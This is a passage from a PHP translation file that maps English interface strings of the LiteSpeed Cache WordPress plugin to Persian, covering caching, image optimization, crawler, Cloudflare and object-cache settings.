دستی به لیست سیاه اضافه شد','Mobile Agent Rules'=>'قوانین عامل موبایل','Sitemap created successfully: %d items'=>'نقشه سایت با موفقیت ایجاد شد: %d مورد','Sitemap cleaned successfully'=>'نقشه سایت با موفقیت پاکسازی شد','Invalid IP'=>'IP نامعتبر','Value range'=>'دامنه مقادیر','Smaller than'=>'کوچکتر از','Larger than'=>'بزرگتر از','Zero, or'=>'صفر، یا','Maximum value'=>'حداکثر مقدار','Minimum value'=>'حداقل مقدار','Path must end with %s'=>'مسیر باید با %s پایان یابد','Invalid rewrite rule'=>'قانون بازنویسی نامعتبر است','Currently set to %s'=>'در حال حاضر به %s تنظیم شده است','This value is overwritten by the PHP constant %s.'=>'این مقدار توسط ثابت PHP %s بازنویسی می‌شود.','Toolbox'=>'جعبه ابزار','Database'=>'پایگاه‌داده','Page Optimization'=>'بهینه‌سازی برگه','Dashboard'=>'پیشخوان','Converted to InnoDB successfully.'=>'به InnoDB با موفقیت تبدیل شد.','Cleaned all Gravatar files.'=>'همه پرونده‌های گراواتار پاک شد.','Cleaned all LQIP files.'=>'همه پرونده‌های LQIP پاک شد.','Unknown error'=>'خطای ناشناخته','Your domain has been forbidden from using our services due to a previous policy violation.'=>'دامنه شما به دلیل نقض قبلی سیاست از استفاده از خدمات ما ممنوع شده است.','The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: '=>'اعتبارسنجی بازگشت به دامنه شما ناموفق بود. لطفاً اطمینان حاصل کنید که هیچ فایروالی سرورهای ما را مسدود نکرده است. کد پاسخ: ','The callback validation to your domain failed. Please make sure there is no firewall blocking our servers.'=>'اعتبارسنجی بازگشت به دامنه شما ناموفق بود. لطفاً اطمینان حاصل کنید که هیچ فایروالی سرورهای ما را مسدود نکرده است.','The callback validation to your domain failed due to hash mismatch.'=>'اعتبارسنجی بازگشت به دامنه شما به دلیل عدم تطابق هش ناموفق بود.','Your application is waiting for approval.'=>'درخواست شما در انتظار تأیید است','Previous request too recent. Please try again after %s.'=>'درخواست قبلی خیلی تازه است. لطفاً بعد از %s دوباره تلاش کنید.','Previous request too recent. Please try again later.'=>'درخواست قبلی خیلی تازه است. لطفاً بعداً دوباره تلاش کنید.','Crawler disabled by the server admin.'=>'خزنده توسط مدیر سرور غیرفعال شده است.','Failed to create table %1$s! SQL: %2$s.'=>'ایجاد جدول %s ناموفق بود! SQL: %s.','Could not find %1$s in %2$s.'=>'نتوانستم %1$s را در %2$s پیدا کنم.','Credits are not enough to proceed the current request.'=>'اعتبارها برای ادامه درخواست فعلی کافی نیستند.','There is proceeding queue not pulled yet.'=>'صف در حال پردازش هنوز کشیده نشده است.','The image list is empty.'=>'لیست تصاویر خالی است.','LiteSpeed Crawler Cron'=>'LiteSpeed Crawler Cron','Every Minute'=>'هر دقیقه','Turn this option ON to show latest news automatically, including hotfixes, new releases, available beta versions, and promotions.'=>'این گزینه را فعال کنید تا آخرین اخبار شامل رفع‌اشکال‌های مهم، نسخه‌های جدید، نسخه‌های بتا در دسترس، و تبلیغات به طور خودکار نمایش داده شوند.','To grant wp-admin access to the LiteSpeed Support Team, please generate a passwordless link for the current logged-in user to be sent with the report.'=>'برای اعطای دسترسی wp-admin به تیم پشتبانی لایت اسپید، لطفا یک پیوند بدون رمزعبور برای کاربری که در حال حاضر وارد شده است بسازید تا با گزارش ارسال گردد.','Generated links may be managed under %sSettings%s.'=>'پیوندهای ساخته شده ممکن است توسط %sتنظیمات%s مدیریت گردند.','Please do NOT share the above passwordless link with anyone.'=>'لطفا هرگز پیوند بدون رمزعبور بالا را با کسی به اشتراک نگذارید.','To generate a passwordless link for LiteSpeed Support Team access, you must install %s.'=>'برای تولید پیوند بدون رمزعبور برای دسترسی تیم پشتیبانی لایت اسپید، شما باید %s را نصب نمایید.','Install'=>'نصب','These options are only available with LiteSpeed Enterprise Web Server or QUIC.cloud CDN.'=>'این تنظیمات فقط در وب سرور Enterprise لایت اسپید یا QUIC.cloud CDN در دسترس هستند.','PageSpeed Score'=>'نمره PageSpeed','Improved by'=>'بهبود یافته توسط','After'=>'بعد','Before'=>'قبل','Page Load Time'=>'زمان بارگذاری صفحه','To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN.'=>'برای استفاده از توابع کش شما باید سرور لایت اسپید داشته باشید یا از QUIC.cloud CDN استفاده کنید.','Preserve EXIF/XMP data'=>'نگه داشتن اطلاعات EXIF/XMP','Try GitHub Version'=>'نسخه GitHub را امتحان کنید','If you turn any of the above settings OFF, please remove the related file types from the %s box.'=>'اگر هر کدام از تنظیمات بالا را خاموش کردید، لطفا انواع فایل مربوطه را از جعبه %s پاک کنید.','Both full and partial strings can be used.'=>'هر دو رشته کامل و جزئی می‌تواند مورد استفاده قرار گیرد.','Images containing these class names will not be lazy loaded.'=>'تصاویری که حاوی این نام‌های کلاس هستند بارگذاری تنبل نخواهند شد.','Lazy Load Image Class Name Excludes'=>'استثنا نام کلاس تصویر از بارگذاری تنبل','For example, %1$s defines a TTL of %2$s seconds for %3$s.'=>'به‌عنوان مثال، %1$s یک TTL برابر %2$s ثانیه برای %3$s تعریف می‌کند.','To define a custom TTL for a URI, add a space followed by the TTL value to the end of the URI.'=>'برای تعریف یک TTL سفارشی برای یک URI ، یک فضا دنبال شده توسط مقدار TTL به انتهای URL اضافه کنید.','Maybe Later'=>'شاید بعدا','Turn On Auto Upgrade'=>'روشن کردن ارتقا خودکار','Upgrade'=>'ارتقاء','New release %s is available now.'=>'نسخه جدید %s در حال حاضر در دسترس است.','New Version Available!'=>'نسخه جدید در دسترس است!','Created with ❤️ by LiteSpeed team.'=>'با ❤️ توسط تیم LiteSpeed ساخته شده است.','Sure I\'d love to review!'=>'مطمئنا من دوست دارم بررسی کنم!','Thank You for Using the LiteSpeed Cache Plugin!'=>'با تشکر از شما برای استفاده از افزونه LiteSpeed Cache!','Upgraded successfully.'=>'ارتقاء با موفقیت انجام شد.','Failed to upgrade.'=>'ارتقاء انجام نشد.','Changed setting successfully.'=>'تنظیمات با موفقیت تغییر کرد.','ESI sample for developers'=>'نمونه ESI برای توسعه دهندگان','Replace %1$s with %2$s.'=>'جایگزین کردن %1$s با %2$s.','You can turn shortcodes into ESI blocks.'=>'شما می‌توانید کد‌های کوتاه را به بلوک‌های ESI تبدیل کنید.','WpW: Private Cache vs. Public Cache'=>'WpW: کش خصوصی در مقابل کش عمومی','Append query string %s to the resources to bypass this action.'=>'رشته کوئری %s را به منابع اضافه کنید تا از این عمل جلوگیری شود.','Google reCAPTCHA will be bypassed automatically.'=>'گوگل reCAPTCHA به طور خودکار نادیده گرفته خواهد شد.','To crawl for a particular cookie, enter the cookie name, and the values you wish to crawl for. Values should be one per line. There will be one crawler created per cookie value, per simulated role.'=>'برای crawl یک کوکی خاص، نام کوکی و مقادیری را که می‌خواهید crawl  شود را وارد کنید. هر مقدار باید در یک خط باشد. به ازای هر مقدار کوکی و هر نقش شبیه سازی شده، یک خزنده ایجاد خواهد شد.','Cookie Values'=>'مقدار کوکی‌ها','Cookie Name'=>'نام کوکی','Cookie Simulation'=>'شبیه‌سازی کوکی','Use Web Font Loader library to load Google Fonts asynchronously while leaving other CSS intact.'=>'از کتابخانه وب فونت لودر برای بارگیری فونت‌های گوگل به صورت ناهمگام استفاده کنید، در حالی که دیگر CSS را دست نخورده باقی بماند.','Turn this option ON to have LiteSpeed Cache updated automatically, whenever a new version is released. If OFF, update manually as usual.'=>'این گزینه را روشن کنید تا Cache LiteSpeed به صورت خودکار بروز شود، هر بار نسخه جدیدی منتشر می شود. اگر خاموش باشد، به طور معمول به صورت دستی بروزرسانی می شود.','Automatically Upgrade'=>'ارتقا خودکار','Your IP'=>'IP شما','Reset successfully.'=>'بازنشانی موفق بود.','This will reset all settings to default settings.'=>'این تنظیمات را به تنظیمات پیش‌فرض تنظیم مجدد می کند.','Reset All Settings'=>'بازنشانی تمام تنظیمات','Separate critical CSS files will be generated for paths containing these strings.'=>'فایل‌های CSS بحرانی جداگانه برای مسیرهایی که شامل این رشته‌ها هستند تولید خواهند شد.','Separate CCSS Cache URIs'=>'URI‌های کش CSS جداشده','For example, if every Page on the site has different formatting, enter %s in the box. Separate critical CSS files will be stored for every Page on the site.'=>'برای مثال، اگر هر صفحه در سایت دارای قالب بندی‌های مختلف باشد، %s را در کادر وارد کنید. فایل‌های CSS بحرانی جداگانه برای هر صفحه در سایت کش می‌شود.','List post types where each item of that type should have its own CCSS generated.'=>'لیست انواع پستی که در آن هر آیتم از آن نوع باید CSS خودش را تولید کند.','Separate CCSS Cache Post Types'=>'کش CSS جداشده انواع پست','Size list in queue waiting for cron'=>'لیست اندازه در صف انتظار برای cron','If set to %1$s, before the placeholder is localized, the %2$s configuration will be used.'=>'اگر به %1$s تنظیم شود، قبل از آنکه نگهدارنده محلی شود، پیکربندی %2$s استفاده خواهد شد.','Automatically generate LQIP in the background via a cron-based queue.'=>'به‌طور خودکار LQIP را در پس‌زمینه از طریق یک صف مبتنی بر کرون تولید کنید.','This will generate the placeholder with same dimensions as the image if it has the width and height attributes.'=>'این نگهدارنده را با همان ابعاد به عنوان تصویر تولید می کند اگر دارای ویژگی‌های عرض و ارتفاع باشد.','Responsive image placeholders can help to reduce layout reshuffle when images are loaded.'=>'پیکربندی تصویر Responsive می‌تواند به کاهش ترمیم آرایش در زمانی که تصاویر بارگیری می‌شوند، کمک کند.','Responsive Placeholder'=>'نگهدارنده واکنشگرا','This will delete all generated image LQIP placeholder files'=>'این همه فایل‌های جایگزین LQIP تصویر تولید شده را حذف خواهد کرد','Please enable LiteSpeed Cache in the plugin settings.'=>'لطفا Cache LiteSpeed را در تنظیمات افزونه فعال کنید.','Please enable the LSCache Module at the server level, or ask your hosting provider.'=>'لطفا ماژول LSCache را در سطح سرور فعال کنید یا از ارائه دهنده میزبانی خود بخواهید.','Failed to request via WordPress'=>'درخواست از طریق وردپرس ناموفق بود','High-performance page caching and site optimization from LiteSpeed'=>'کش سازی صفحه با عملکرد بالا و بهینه‌سازی سایت از LiteSpeed','Reset the optimized data successfully.'=>'داده‌های بهینه شده با موفقیت بازنشانی شد.','Update %s now'=>'بروزرسانی %s','View %1$s version %2$s details'=>'مشاهده جزئیات %1$s نسخه %2$s','<a href="%1$s" %2$s>View version %3$s details</a> or <a href="%4$s" %5$s target="_blank">update now</a>.'=>'<a href="%1$s" %2$s>مشاهده جزئیات نسخه %3$s </a> or <a href="%4$s" %5$s target="_blank">بروزرسانی</a>.','Install %s'=>'نصب %s','LSCache caching functions on this page are currently unavailable!'=>'توابع کش در این صفحه در حال حاضر در دسترس نیست!','%1$s plugin version %2$s required for this action.'=>'%1$s نسخه پلاگین %2$s برای این عمل مورد نیاز است.','We are working hard to improve your online service experience. The service will be unavailable while we work. We apologize for any inconvenience.'=>'ما به شدت در حال کار بر روی بهبود تجربه خدمات آنلاین شما هستیم. این سرویس در حین کار ما در دسترس نخواهد بود. ما بابت هر گونه ناراحتی عذرخواهی می کنیم.','Automatically remove the original image backups after fetching optimized images.'=>'پس از تهیه تصاویر بهینه شده، پشتیبان گیری تصویر اصلی را به طور خودکار حذف کنید.','Remove Original Backups'=>'حذف پشتیبان اصلی','Automatically request optimization via cron job.'=>'درخواست بهینه‌سازی خودکار از طریق کرون جاب.','A backup of each image is saved before it is optimized.'=>'پشتیبان از هر تصویر قبل از بهینه‌سازی ذخیره می شود.','Switched images successfully.'=>'تغییر تصاویر موفق بود.','This can improve quality but may result in larger images than lossy compression will.'=>'این می‌تواند کیفیت را بهبود بخشد، اما ممکن است به تصاویر بزرگتر از فشرده سازی باقیمانده منجر شود.','Optimize images using lossless compression.'=>'بهینه‌سازی تصاویر با استفاده از فشرده‌سازی بدون افت.','Optimize Losslessly'=>'بهینه‌سازی بدون کاهش کیفیت','Request WebP/AVIF versions of original images when doing optimization.'=>'درخواست نسخه Webp/AVIF تصاویر اصلی هنگام بهینه‌سازی.','Optimize images and save backups of the originals in the same folder.'=>'بهینه‌سازی تصاویر و ذخیره نسخه پشتیبان از فایل اصلی در همان پوشه.','Optimize Original Images'=>'بهینه‌سازی تصاویر اصلی','When this option is turned %s, it will also load Google Fonts asynchronously.'=>'هنگامی که این تنظیم %s می شود، فونت گوگل نیز به صورت ناهمگام بارگیری خواهد شد.','Cleaned all Critical CSS files.'=>'تمام فایل‌های CSS بحرانی پاکسازی شد.','This will inline the asynchronous CSS library to avoid render blocking.'=>'این کار کتابخانه CSS فوری را ایجاد می‌کند تا از مسدود کردن رندر جلوگیری شود.','Inline CSS Async Lib'=>'Inline CSS Async Lib','Run Queue Manually'=>'اجرای دستی صف','URL list in %s queue waiting for cron'=>'لیست URL در صف %s در انتظار cron','Last requested cost'=>'آخرین مقدار درخواست شده','Last generated'=>'آخرین تولید','If set to %s this is done in the foreground, which may slow down page load.'=>'اگر به %s تنظیم شود، این کار در پیش‌زمینه انجام می‌شود، که ممکن است بارگذاری صفحه را کند کند.','Automatic generation of critical CSS is in the background via a cron-based queue.'=>'به طور خودکار CSS بحرانی را در پس‌زمینه از طریق یک خط مبتنی بر cron تولید می کند.','Optimize CSS delivery.'=>'بهینه‌سازی ارسال CSS.','This will delete all generated critical CSS files'=>'این عملیات تمام فایل‌های CSS بحرانی تولیدشده را حذف می‌کند','Critical CSS'=>'CSS بحرانی','This site utilizes caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily.'=>'این سایت از کش به منظور تسهیل زمان واکنش سریع‌تر و تجربه کاربر بهتر استفاده می‌کند. کش به طور بالقوه یک کپی از هر صفحه وب را که در این سایت نمایش داده می‌شود، ذخیره می‌کند. همه فایل‌های کش دار موقتی هستند، و هرگز توسط هیچ شخص ثالث دسترسی پیدا نمی‌شود، به جز آن که لازم باشد پشتیبانی فنی را از فروشنده متصل شونده کش دریافت کنید. پرونده‌های مخفی در یک برنامه زمانبندی توسط مدیر سایت منقضی می‌شوند، اما در صورت لزوم می‌تواند به راحتی توسط مدیریت قبل از انقضای طبیعی آن‌ها پاک‌سازی شود. ممکن است از خدمات QUIC.cloud برای پردازش و ذخیره موقت داده های شما استفاده کنیم.','Disabling this may cause WordPress tasks triggered by AJAX to stop working.'=>'غیرفعال کردن این ممکن است وظیفه وردپرس را که توسط AJAX آغاز شده، متوقف کند.','right now'=>'همین حالا','just now'=>'همین حالا','Saved'=>'ذخیره شده','Last ran'=>'آخرین اجرا','You will be unable to Revert Optimization once the backups are deleted!'=>'پس از حذف نسخه‌های پشتیبان، امکان بازگرداندن بهینه‌سازی وجود نخواهد داشت!','This is irreversible.'=>'این کار غیر قابل برگشت است.','Remove Original Image Backups'=>'حذف پشتیبان تصاویر اصلی','Are you sure you want to remove all image backups?'=>'آیا مطمئنید که می‌خواهید تمام پشتیبان‌های تصاویر را حذف کنید؟','Total'=>'جمع','Files'=>'فایل‌ها','Last calculated'=>'آخرین محاسبه','Calculate Original Image Storage'=>'محاسبه فضای مصرفی تصاویر اصلی','Storage Optimization'=>'بهینه‌سازی فضای ذخیره','Enable replacement of WebP/AVIF in %s elements that were generated outside of WordPress logic.'=>'فعالکردن جایگزینی تصاویر WebP/AVIF در عناصر %s که خارج از منطق وردپرس تولید شدهاند.','Use the format %1$s or %2$s (element is optional).'=>'از فرمت %1$s یا %2$s (عنصر اختیاری است)','Only attributes listed here will be replaced.'=>'فقط ویژگی‌های ذکر شده در اینجا جایگزین خواهند شد.','Specify which element attributes will be replaced with WebP/AVIF.'=>'مشخص کنید کدام ویژگی‌های عنصر با WebP/AVIF جایگزین خواهند شد.','WebP/AVIF Attribute To Replace'=>'ویژگی WebP/AVIF برای جایگزینی','Only files within these directories will be pointed to the CDN.'=>'فقط فایل‌های موجود در این دایرکتوری به CDN اشاره می شود.','Included Directories'=>'شامل دایرکتوری‌ها','A Purge All will be executed when WordPress runs these hooks.'=>'پاکسازی همه، وردپرس این هوک‌ها را اجرا می کند.','Purge All Hooks'=>'پاکسازی تمام هوک‌ها','Purged all caches successfully.'=>'پاکسازی تمام کش موفق بود.','LSCache'=>'LSCache','Forced cacheable'=>'قابل‌کش اجباری','Paths containing these strings will be cached regardless of no-cacheable settings.'=>'مسیرهای حاوی این رشته‌ها صرف نظر از تنظیمات غیر قابل کش شدن کش می شوند.','Force Cache URIs'=>'کش اجباری URIها','Exclude Settings'=>'تنظیمات استثنائات','This will disable LSCache and all optimization features for debug purpose.'=>'این کار LSCache و تمام ویژگی‌های بهینه‌سازی را برای هدف اشکال زدایی غیرفعال می کند.','Disable All Features'=>'غیرفعالسازی همه ویژگی‌ها','Opcode Cache'=>'کش Opcode','CSS/JS Cache'=>'کش CSS/JS','Remove all previous unfinished image optimization requests.'=>'تمام درخواست‌های ناتمام قبلی بهینه‌سازی تصویر را حذف کنید.','Clean Up Unfinished Data'=>'پاکسازی اطلاعات ناتمام','Join Us on Slack'=>'در اسلک به ما بپیوندید','Join the %s community.'=>'به جامعه %s بپیوندید.','Want to connect with other LiteSpeed users?'=>'آیا می خواهید با سایر کاربران LiteSpeed ارتباط برقرار کنید؟','Your API key / token is used to access %s APIs.'=>'کلید یا توکن API شما برای دسترسی به API‌های %s استفاده می شود.','Your Email address on %s.'=>'آدرس ایمیل شما در %s.','Use %s API functionality.'=>'از قابلیت %s API استفاده کنید.','To randomize CDN hostname, define multiple hostnames for the same resources.'=>'برای تصدیق نام میزبان CDN، چندین نام میزبان را برای همان منابع تعریف کنید.','Join LiteSpeed Slack community'=>'به انجمن لایت اسپید در اسلک ملحق شوید','Visit LSCWP support forum'=>'بازدید از انجمن پشتیبانی LSCWP','Images notified to pull'=>'تصاویر اعلان شده برای فشرده سازی','What is a group?'=>'گروه چیست؟','%s image'=>'%s تصویر','%s group'=>'%s گروه','%s images'=>'%s تصویر','%s groups'=>'%s گروه','Guest'=>'مهمان','To crawl the site as a logged-in user, enter the user ids to be simulated.'=>'برای خزیدن سایت به عنوان یک کاربر وارد شده، شناسه کاربری را برای شبیه‌سازی وارد کنید.','Role Simulation'=>'شبیه‌سازی نقش','running'=>'در حال اجرا','Size'=>'اندازه','Ended reason'=>'دلیل پایان','Last interval'=>'آخرین بازه','Current crawler started at'=>'خزنده فعلی شروع می شود در','Run time for previous crawler'=>'زمان اجرا برای خزنده قبلی','%d seconds'=>'%d ثانیه','Last complete run time for all crawlers'=>'آخرین زمان اجرای کامل برای همه خزنده‌ها','Current sitemap crawl started at'=>'خزیدن نقشه سایت فعلی در','Save transients in database when %1$s is %2$s.'=>'ذخیره transientها در پایگاه داده زمانی که %1$s در وضعیت %2$s است.','Store Transients'=>'ذخیره داده‌های گذرا','If %1$s is %2$s, then %3$s must be populated!'=>'اگر %1$s در وضعیت %2$s باشد، باید %3$s پر شود!','Server allowed max value: %s'=>'سرور اجازه حداکثر مقدار مجاز را داد: %s','Server enforced value: %s'=>'سرور مقدار را اعمال کرد: %s','NOTE'=>'نکته','Server variable(s) %s available to override this setting.'=>'متغیرهای موجود سرور %s برای لغو این تنظیم است.','API'=>'API','Reset the entire OPcache successfully.'=>'بازنشانی کش ورودی‌های opcode موفق بود.','Imported setting file %s successfully.'=>'فایل تنظیم %s با موفقیت درون‌ریزی است.','Import failed due to file error.'=>'درون‌ریزی به علت خطا در فایل انجام نشد.','How to Fix Problems Caused by CSS/JS Optimization.'=>'چگونه مسائل ایجادشده توسط بهینه‌سازی CSS/JS را رفع کنیم.','This will generate extra requests to the server, which will increase server load.'=>'این درخواست‌های اضافی را برای سرور ایجاد می کند که بار سرور را افزایش می دهد.','When a visitor hovers over a page link, preload that page. This will speed up the visit to that link.'=>'وقتی بازدیدکننده ماوس را روی لینک یک صفحه نگه می‌دارد، آن صفحه را از قبل بارگذاری کنید. این کار سرعت بازدید از آن لینک را افزایش می‌دهد.','Instant Click'=>'کلیک فوری','Reset the entire opcode cache'=>'بازنشانی ورودی‌های کش Opcode','This will import settings from a file and override all current LiteSpeed Cache settings.'=>'این تنظیمات را از یک فایل وارد می‌کند و با تمام تنظیمات فعلی LiteSpeed Cache جایگزین می‌شود.','Last imported'=>'آخرین درون‌ریزی','Import'=>'درون‌ریزی','Import Settings'=>'تنظیمات واردات','This will export all current LiteSpeed Cache settings and save them as a file.'=>'این همه تنظیمات فعلی LiteSpeed Cache را صادر و به عنوان یک فایل ذخیره می کند.','Last exported'=>'آخرین صادر شده','Export'=>'برون‌بری','Export Settings'=>'تنظیمات برون‌بری','Import / Export'=>'درون‌ریزی / برون‌بری','Use keep-alive connections to speed up cache operations.'=>'برای سرعت بخشیدن به عملیات کش سازی، از اتصالات زنده استفاده کنید.','Database to be used'=>'استفاده از پایگاه داده','Redis Database ID'=>'شناسه پایگاه داده Redis','Specify the password used when connecting.'=>'رمز عبور مورد استفاده هنگام اتصال را مشخص کنید.','Password'=>'گذرواژه','Only available when %s is installed.'=>'فقط در دسترس است هنگامی که %s نصب شده است.','Username'=>'نام کاربری','Your %s Hostname or IP address.'=>'نام هاست یا آدرس IP %s شما.','Method'=>'روش','Purge all object caches successfully.'=>'پاکسازی همه object cacheها موفق بود.','Object cache is not enabled.'=>'کش پنهان فعال نیست.','Improve wp-admin speed through caching. (May encounter expired data)'=>'بهبود سرعت wp-admin از طریق کش سازی (ممکن است داده‌های منقضی شده روبرو شود)','Cache WP-Admin'=>'کش Wp-Admin','Persistent Connection'=>'اتصال پایدار','Do Not Cache Groups'=>'گروه‌ها را کش نکنید','Groups cached at the network level.'=>'گروه‌ها در سطح شبکه کش می شوند.','Global Groups'=>'گروه‌های جهانی','Connection Test'=>'تست اتصال','%s Extension'=>'%s پسوند','Status'=>'وضعیت','Default TTL for cached objects.'=>'TTL پیش‌فرض برای اشیاء کش‌شده.','Default Object Lifetime'=>'طول عمر پیش‌فرض','Port'=>'پورت','Host'=>'میزبان','Object Cache'=>'کش Object','Failed'=>'ناموفق','Passed'=>'سپری شده','Not Available'=>'در دسترس نیست','Purge all the object caches'=>'پاکسازی همه object caches','Failed to communicate with Cloudflare'=>'ارتباط با کلودفلر ناموفق بود','Communicated with Cloudflare successfully.'=>'با Cloudflare با موفقیت ارتباط برقرار شد.','No available Cloudflare zone'=>'زون کلودفلر در دسترس نیست','Notified Cloudflare to purge all successfully.'=>'اعلان پاکسازی همه به Cloudflare با موفقیت انجام شد.','Cloudflare API is set to off.'=>'API Cloudflare تنظیم شده است.','Notified Cloudflare to set development mode to %s successfully.'=>'اعلان به Cloudflare برای تنظیم حالت توسعه به %s با موفقیت انجام شد.','Once saved, it will be matched with the current list and completed automatically.'=>'پس از ذخیره شدن، آن را با لیست موجود مطابقت داده و به طور خودکار تکمیل می شود.','You can just type part of the domain.'=>'شما فقط می‌توانید بخشی از دامنه را تایپ کنید.','Domain'=>'دامنه','Cloudflare API'=>'API Cloudflare','Purge Everything'=>'پاکسازی همه چیز','Cloudflare Cache'=>'حافظه Cloudflare','Development Mode will be turned off automatically after three hours.'=>'حالت توسعه به طور خودکار پس از سه ساعت خاموش می شود.','Temporarily bypass Cloudflare cache. This allows changes to the origin server to be seen in realtime.'=>'به طور موقت حافظه Cloudflare را دور بزن این اجازه می دهد تا تغییرات در سرور مبدا در زمان واقعی دیده شود.','Development mode will be automatically turned off in %s.'=>'حالت توسعه به صورت خودکار در %s خاتمه می یابد.','Current status is %s.'=>'وضعیت کنونی %s است.','Current status is %1$s since %2$s.'=>'وضعیت کنونی از %2$s به %1$s تغییر یافته است.','Check Status'=>'بررسی وضعیت','Turn OFF'=>'خاموش','Turn ON'=>'روشن','Development Mode'=>'حالت توسعه','Cloudflare Zone'=>'ناحیه Cloudflare','Cloudflare Domain'=>'دامنه Cloudflare','Cloudflare'=>'Cloudflare','For example'=>'برای مثال','Prefetching DNS can reduce latency for visitors.'=>'واکشی اولیه DNS می‌تواند زمان تأخیر را برای بازدیدکنندگان کاهش دهد.','DNS Prefetch'=>'واکشی اولیه DNS','Adding Style to Your Lazy-Loaded Images'=>'افزودن استایل به بارگذاری تنبل تصاویر شما','Default value'=>'مقدار پیش‌فرض','Static file type links to be replaced by CDN links.'=>'پیوند‌های فایل‌های استاتیک با لینک‌های CDN جایگزین می شوند.','For example, to drop parameters beginning with %1$s, %2$s can be used here.'=>'برای مثال، برای حذف پارامترهایی که با %1$s شروع میشوند، میتوان از %2$s در این قسمت استفاده کرد.','Drop Query String'=>'رشته Drop Query','Enable this option if you are using both HTTP and HTTPS in the same domain and are noticing cache irregularities.'=>'این گزینه را فعال کنید اگر از HTTP و HTTPS در همان دامنه استفاده می کنید و نادیده گرفته شده است.','Improve HTTP/HTTPS Compatibility'=>'بهبود سازگاری HTTP/HTTPS','Remove all previous image optimization requests/results, revert completed optimizations, and delete all optimization files.'=>'تمام درخواست‌ها/نتایج بهینه‌سازی‌های قبلی، بازگردانی تصاویر بهینه شده و همه فایل‌های بهینه شده را حذف می کند.','Destroy All Optimization Data'=>'از بین بردن همه داده‌های بهینه‌سازی','Scan for any new unoptimized image thumbnail sizes and resend necessary image optimization requests.'=>'برای بهینه‌سازی هر اندازه تصاویر بندانگشتی اسکن کنید و درخواست بهینه‌سازی تصویر برای موارد مورد نیاز را دوباره ارسال کنید.','This will increase the size of optimized files.'=>'این اندازه فایل‌های بهینه‌سازی شده را افزایش می دهد.','Preserve EXIF data (copyright, GPS, comments, keywords, etc) when optimizing.'=>'در هنگام بهینه‌سازی داده‌های EXIF (کپی رایت، GPS، نظرات، کلمات کلیدی و ...) را ذخیره کنید.','Clear Logs'=>'پاکسازی گزارش‌ها','To test the cart, visit the <a %s>FAQ</a>.'=>'برای تست سبد خرید، به <a %s>FAQ</a> مراجعه کنید.',' %s ago'=>' %s پیش','WebP saved %s'=>'WebP ذخیره شده %s','If you run into any issues, please refer to the report number in your support message.'=>'اگر هر مشکلی دارید، لطفا به شماره گزارش در پیام پشتیبانی خود ارجاع دهید.','Last pull initiated by cron at %s.'=>'آخرین کش توسط cron در %s آغاز شده است.','Images will be pulled automatically if the cron job is running.'=>'اگر cron job در حال اجرا باشد، تصاویر به صورت خودکار فشرده می شوند.','Only press the button if the pull cron job is disabled.'=>'فقط اگر pull cron job غیرفعال است، دکمه را فشار دهید.','Pull Images'=>'فشرده سازی تصاویر','This process is automatic.'=>'این فرایند اتوماتیک است.','Last Request'=>'آخرین درخواست','Images Pulled'=>'تصاویر فشرده شده','Report'=>'گزارش','Send this report to LiteSpeed. Refer to this report number when posting in the WordPress support forum.'=>'این گزارش را به LiteSpeed ارسال کنید. هنگام ارسال در انجمن پشتیبانی وردپرس، به این شماره گزارش مراجعه کنید.','Send to LiteSpeed'=>'ارسال به لایت اسپید','LiteSpeed Optimization'=>'بهینه‌سازی LiteSpeed','Load Google Fonts Asynchronously'=>'بارگیری ناهمگام فونت‌های گوگل','Browser Cache TTL'=>'کش مرورگر TTL','Results can be checked in %sMedia Library%s.'=>'نتایج را می‌توان در %sکتابخانه رسانه%s بررسی کرد.','Learn More'=>'اطلاعات بیشتر','Image groups total'=>'جمع گروه‌های تصویر','Images optimized and pulled'=>'تصاویر بهینه‌سازی شده و فشرده شده‌','Images requested'=>'تصاویر درخواست شده','Switched to optimized file successfully.'=>'تغییر به فایل بهینه‌سازی شده با موفقیت انجام شد.','Restored original file successfully.'=>'فایل اصلی با موفقیت بازیابی شد.','Enabled WebP file successfully.'=>'فعالسازی فایل WebP موفق بود.','Disabled WebP file successfully.'=>'غیرفعالسازی فایل WebP موفق بود.','Significantly improve load time by replacing images with their optimized %s versions.'=>'به طور قابل توجهی زمان بارگذاری را با جایگزینی تصاویر با نسخه‌های بهینه شده %s بهبود می بخشد.','Selected roles will be excluded from cache.'=>'نقش‌های انتخاب شده از کش حذف خواهند شد.','Tuning'=>'تراز','Selected roles will be excluded from all optimizations.'=>'نقش‌های انتخاب شده از تمام بهینه‌سازی‌ها حذف خواهند شد.','Role Excludes'=>'استثنائات نقش','Tuning Settings'=>'تنظیمات تراز','If the tag slug is not found, the tag will be removed from the list on save.'=>'اگر نامک برچسب یافت نشد، برچسب از لیست در هنگام ذخیره حذف خواهد شد.','If the category name is not found, the category will be removed from the list on save.'=>'اگر نامک دسته پیدا نشود، دسته از لیست در هنگام ذخیره حذف خواهد شد.','After the QUIC.cloud Image Optimization server finishes optimization, it will notify your site to pull the optimized images.'=>'پس از اینکه بهینه‌سازی تصاویر سرور لایت اسپید به پایان برسد، اعلانی به شما می‌دهد تا تصاویر بهینه شده را دریافت کنید.','Send Optimization Request'=>'ارسال درخواست بهینه‌سازی','Image Information'=>'اطلاعات تصویر','Total Reduction'=>'کل کاهش','Optimization Summary'=>'خلاصه بهینه‌سازی','LiteSpeed Cache Image Optimization'=>'بهینه‌سازی تصاویر کش لایت اسپید','Image Optimization'=>'بهینه‌سازی تصویر','For example, %s can be used for a transparent placeholder.'=>'به عنوان مثال: %s می‌تواند برای یک نگهدارنده شفاف استفاده شود.','By default a gray image placeholder %s will be used.'=>'به طور پیش‌فرض یک تصویر خاکستری نگهدارنده %s مورد استفاده قرار خواهد گرفت.','This can be predefined in %2$s as well using constant %1$s, with this setting taking priority.'=>'این می‌تواند در %2$s و با استفاده از ثابت %1$s از قبل تعریف شود، با این تنظیمات اولویت دارد.','Specify a base64 image to be used as a simple placeholder while images finish loading.'=>'یک تصویر base64 مشخص کنید که به عنوان یک جایگزین ساده در حین بارگذاری تصاویر استفاده شود.','Elements with attribute %s in html code will be excluded.'=>'عناصر با صفت %s در کد HTML حذف خواهند شد.','Filter %s is supported.'=>'فیلتر %s پشتیبانی می شود.','Listed images will not be lazy loaded.'=>'تصاویر لیست شده 